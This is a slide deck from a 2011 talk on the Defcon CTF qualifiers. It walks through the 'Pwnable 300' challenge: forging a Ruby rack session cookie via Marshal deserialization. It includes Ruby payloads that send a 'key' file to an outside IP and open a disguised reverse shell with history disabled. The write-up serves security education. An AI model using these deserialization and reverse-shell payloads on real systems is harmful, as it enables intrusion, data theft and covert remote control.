Click here to load reader
View
626
Download
2
Embed Size (px)
DESCRIPTION
Talk on Defcon CTF quals done at Ruxmon in June 2011
Defcon CTF quals
Agenda
Defcon CTF Defcon Quals 2011 The Score Board Powtent Pownable 300
Defcon CTF
One of the most prestigious CTF Qualification to get in Only 10 teams are qualified Run by ddtek
Defcon CTF
You get a FreeBSD box with X services: Reverse each service Protect each service Attack others' service
Defcon CTF
You get points for: Availability Reading other teams' keys Overwriting other teams' keys
(DEFACED)
Defcon CTF quals
Dates: From 03 Jun 2011 19:00:00 UTC To 06 Jun 2011 00:00:00 UTC
53 non-stop hours
Defcon CTF quals
5 categories 5 challenges per category Challenges are progressively
opened
FIXME picture of score board
The Score Board
Java applet Annoying and slow The organisation is late Direct openssl connection
doesn't seem to work
The Score Board
Let start reversing with jad Class to communicate with the
server: biz/ddtek/quals/QualsClient.class
Need to do some patching to remove UI related instructions
The Score Board
Method to login Method to get the matrix of
challenges as an array Method to get the details for each
challenge
The Score Board
Build 2 java apps to get score and to get new challenge
Build an IRC alert bot for new challenge
Fuzz/Try to inject ;) And share it with the team
Powtent Pownables 300
Ruby based HTTP based:
Often the case No XSS or SQLi Just vulnerable and weird web
servers
PP300: 2 paths ???
The version of Webrick seems vulnerable:
WEBrick/1.3.1 (Ruby/1.8.7/2010-08-16) The cookie sent is identical
between 2 HTTP requests without cookies...
Set-Cookie: rack.session=BAh7CSIlZU5wajRZam1VVEpUSUJiRTYraXE2cXZXY0NsWkVLdGMiAYhlTnBq%0ANFlqbVVUSlRJQmJFNitpcTZxdldjQ2xaRUt0Y0hVVEg2T3VyeGhDakNhWUJy%0ARWxWdjBhVnNDWjlJTlFFNndWcTFnWHlpYkVwSmo1ZUgyU1hxb2FxZ29LMWdv%0AS3FKdEFtWW9OQk5VWlZCMHh4S1prUUhYTHF1cnFxNmx3QWRoODBBZz09IiVl%0ATnFWbEQxdXd6QU1oWmNPUlE1UkVGbHFGMUE0QnVqUSIC8AFlTnFWbEQxdXd6%0AQU1oWmNPUlE1UkVGbHFGMUE0QnVqUUpjY29BZHFENGRGRE1tUWdmUFpLbEtp%0AZjJFRVJEN1lsOFluaysyUy92ZjkrSE05Zk1NTUNJOXpnQ2hQYzRkL3g0WGll%0ANGJWcjlwb0ZVTitwV1dsR1dNOHNYak5LR3NnemtUU1AwV3R1Rmp1Y0dwRnMz%0AcjcxZnZPYTZ3QzdpZktJMmtLdVhqUGxNaVIxcGcwUWhXbm5tSUdvVGpSNXpU%0AM1hUa0hDenExcnliWUdsYVFJVFhRL0JENUZ4RzdkczNkMVRGbVQrUkMzWnZI%0ASnBldkVlbWxUVXZoVTRSUWpFSUhCUC8yOTQ0NzVKNjVMNWxNQjhXNWZRbXdQ%0ARU1WUm9pSkpiSldQZVVXNmoycTRSOXRJSmFwaExIek1YdFNhTHhyVEZ5UmRs%0AS2ovaFk5WjBvWG1rOFlhODdHK042ek9aT0pqN1ZHb0lEaElTUkx0NkppeDVE%0AVStrS2lSMVRVRW0vVWNmRDRlcU14SE1xS0loOWxRWVQyTlB0RDR0S2N6Rmkr%0AMk1iV0pqTS9PaWNhQ2pabzE0eU4xRHR4OFBZM0krTWlqUk8xQTR1Ull0YWNr%0AUHZMWVM0N2JmdmVTK01qVEwzcEhFL204K24vN0ErYksrK0k9IiVtaDdjSiVo%0AOTlMUG4xelNvaDQsNDIhNmUzdDc4Q3ddaSIyZU5wajRWQ1N5U2dwS2JEUzF6%0AYzBNdGN6QUVKREsxTWpDd05EZlFCUi9RWEIKIiVlTnFGME0wS3dqQU1BT0NM%0AQjluWkJ3alpwQjFzeTkydCICBAFlTnFGME0wS3dqQU1BT0NMQjluWkJ3alpw%0AQjFzeTkydDBLTlA0TVZLNmhQc0JmTHdwdG9PTjVpbXRCVHk5U2M1SE84bmJH%0AQTNtTWhXZU43TnozUFErQ1VtSHY0SUNNeUVQd1VSeDJFUm5SOTl0d1lpQk8y%0AamlGR0JoZURIWlhTc2dFQ0tvQ2RFSDFoeTJuS0t3Y0FpS0MydHYyUkE3MTB0%0AaUZoRTdIczBzVHp3dVNrNkYvUlk5ZDNTUkVLZVBxYXZwa2VhOWU5QlVoOENX%0AR0FXdWNxbUd4bFFxaUU0aDdWeEc2RXBtNEZ5NWh0djd6QUd0VDVkdE5KcFN2%0AVzIxUXRTcVY1dg%3D%3D%0A
PP300: rack cookies
Base64 encoding of Marshall objects
Marshall =~ Serialization z= Marshal.load(Base64.decode64(URI.decode(cookie)))
z= Marshal.load(Base64.decode64(URI.decode(cookie)))
> pp z{ "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc" =>"eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEPjj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag==", "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ" => "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif=", "mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i" => "eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwNDfQBR/QXB\n", "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t" => "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptOON5imtBTY9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2JiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePQavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"}
> z= Marshal.load(Base64.decode64(URI.decode(cookie))) > pp z.class Hash
z= Marshal.load(Base64.decode64(URI.decode(cookie)))
{ "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc" =>"eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEPjj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag==", "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ" => "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif=", "mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i" => "eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwNDfQBR/QXB\n", "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t" => "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptOON5imtBTY9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2JiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePQavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"}
How to lose an hour :/
{ "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc" =>"eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEPjj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag==", "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ" => "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif=", "mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i" => "eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwNDfQBR/QXB\n", "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t" => "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptOON5imtBTY9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2JiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePQavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"}
All values start with eN...> s="eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6WVq1gXyibEPjj5eH2SXqoaQgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag==" > Base64.decode64(s).each_byte do |c|> print "\\x%02x" % c> end
\x78\xda\x63\xe1\x88\xe6\x51\x32\x53\x20\x16\xc4\xeb\xe8\xaa\xea\xab\xd6\x70\x29\x59\x10\xab\x5c\x1d\x44\xc7\xe8\xeb\xab\xc6\x10\xa3\x09\xa6\x01\xac\x49\x55\xbf\x46\x95\xb0\x26\x7d\x20\xd4\x04\xe9\x6b\xea\xd6\x05\xf2\x89\xb1\x0f\x8e\x3e\x5e\x1f\x64\x97\xaa\x86\xaa\x82\x82\xb5\x82\x82\xaa\x26\xd0\x26\x62\x83\x41\x35\x46\x55\x07\x4c\x71\x29\x99\x10\x1d\x72\xea\xba\xba\xaa\xea\x5c\x00\x76\x1f\x34\x02
googling for \x78\xda links to the zlib
After few lines of code
z.each do |p,v| puts puts Marshal.load(Zlib::Inflate.new.inflate(Base64.decode64(v)))end
And you get...
[ ][ ]http://127.0.0.1:52801/ _//( oo\\\\
We need to retrieve a file named key...
inte = "mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i"url = Marshal.load(Zlib::Inflate.new.inflate( Base64.decode64(z[inte])))pp urlurl += "key"zzzz = Zlib::Deflate.new(Zlib::BEST_COMPRESSION) dst = Base64.encode64(zzzz.deflate(Marshal.dump(url), Zlib::FINISH))zzzz.closez[inte] = dstl = TCPSocket.new( "pwn508.ddtek.biz",52719)s = "#{URI.encode(Base64.encode64(Marshal.dump(z)))}"lol = "GET / HTTP/1.0\r\nCookie: rack.session=#{s}\r\n\r\n"puts loll.write lolputs l.read
And we get...
NOTHING!!!
So we need...
A web server that responds with a Zlib compressed response that is base64 encoded
This response should declare a function that will read a file or spawn a shell
Request with crafted cookie
Retrieve code to exec
Send key or reverse shell
Building the answer: read a filea = "proc { require 'socket';
TCPSocket.new(\"95.142.164.253\",1235).write(File.read(\"key\")) }"
zzzz = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)dst = Base64.encode64(zzzz.deflate(a, Zlib::FINISH))zzzz.closeputs "HTTP/1.1 200 OK\r\nContent-length: "+dst.size.to_s+"\r\n\r\n"puts dst
a = "proc { require 'socket';$0=\"ps\";s = Socket.new(Socket::AF_INET,Socket::SOCK_STREAM,
Socket::IPPROTO_TCP);s.connect(Socket.pack_sockaddr_in(1235, '95.142.164.253'));[$stdin, $stdout, $stderr].each {|c| c.reopen s};system(\"export HISTFILE=/dev/null && /bin/sh -i\");[$stdin, $stdout, $stderr].each {|c| c.close}; }"
Payload for a shell:
Conclusion...
Good fun Challenging
Slide 1Slide 2Slide 3Slide 4Slide 5Slide 6Slide 7Slide 8Slide 9Slide 10Slide 11Slide 12Slide 13Slide 14Slide 15Slide 16Slide 17Slide 18Slide 19Slide 20Slide 21Slide 22Slide 23Slide 24Slide 25Slide 26Slide 27Slide 28Slide 29Slide 30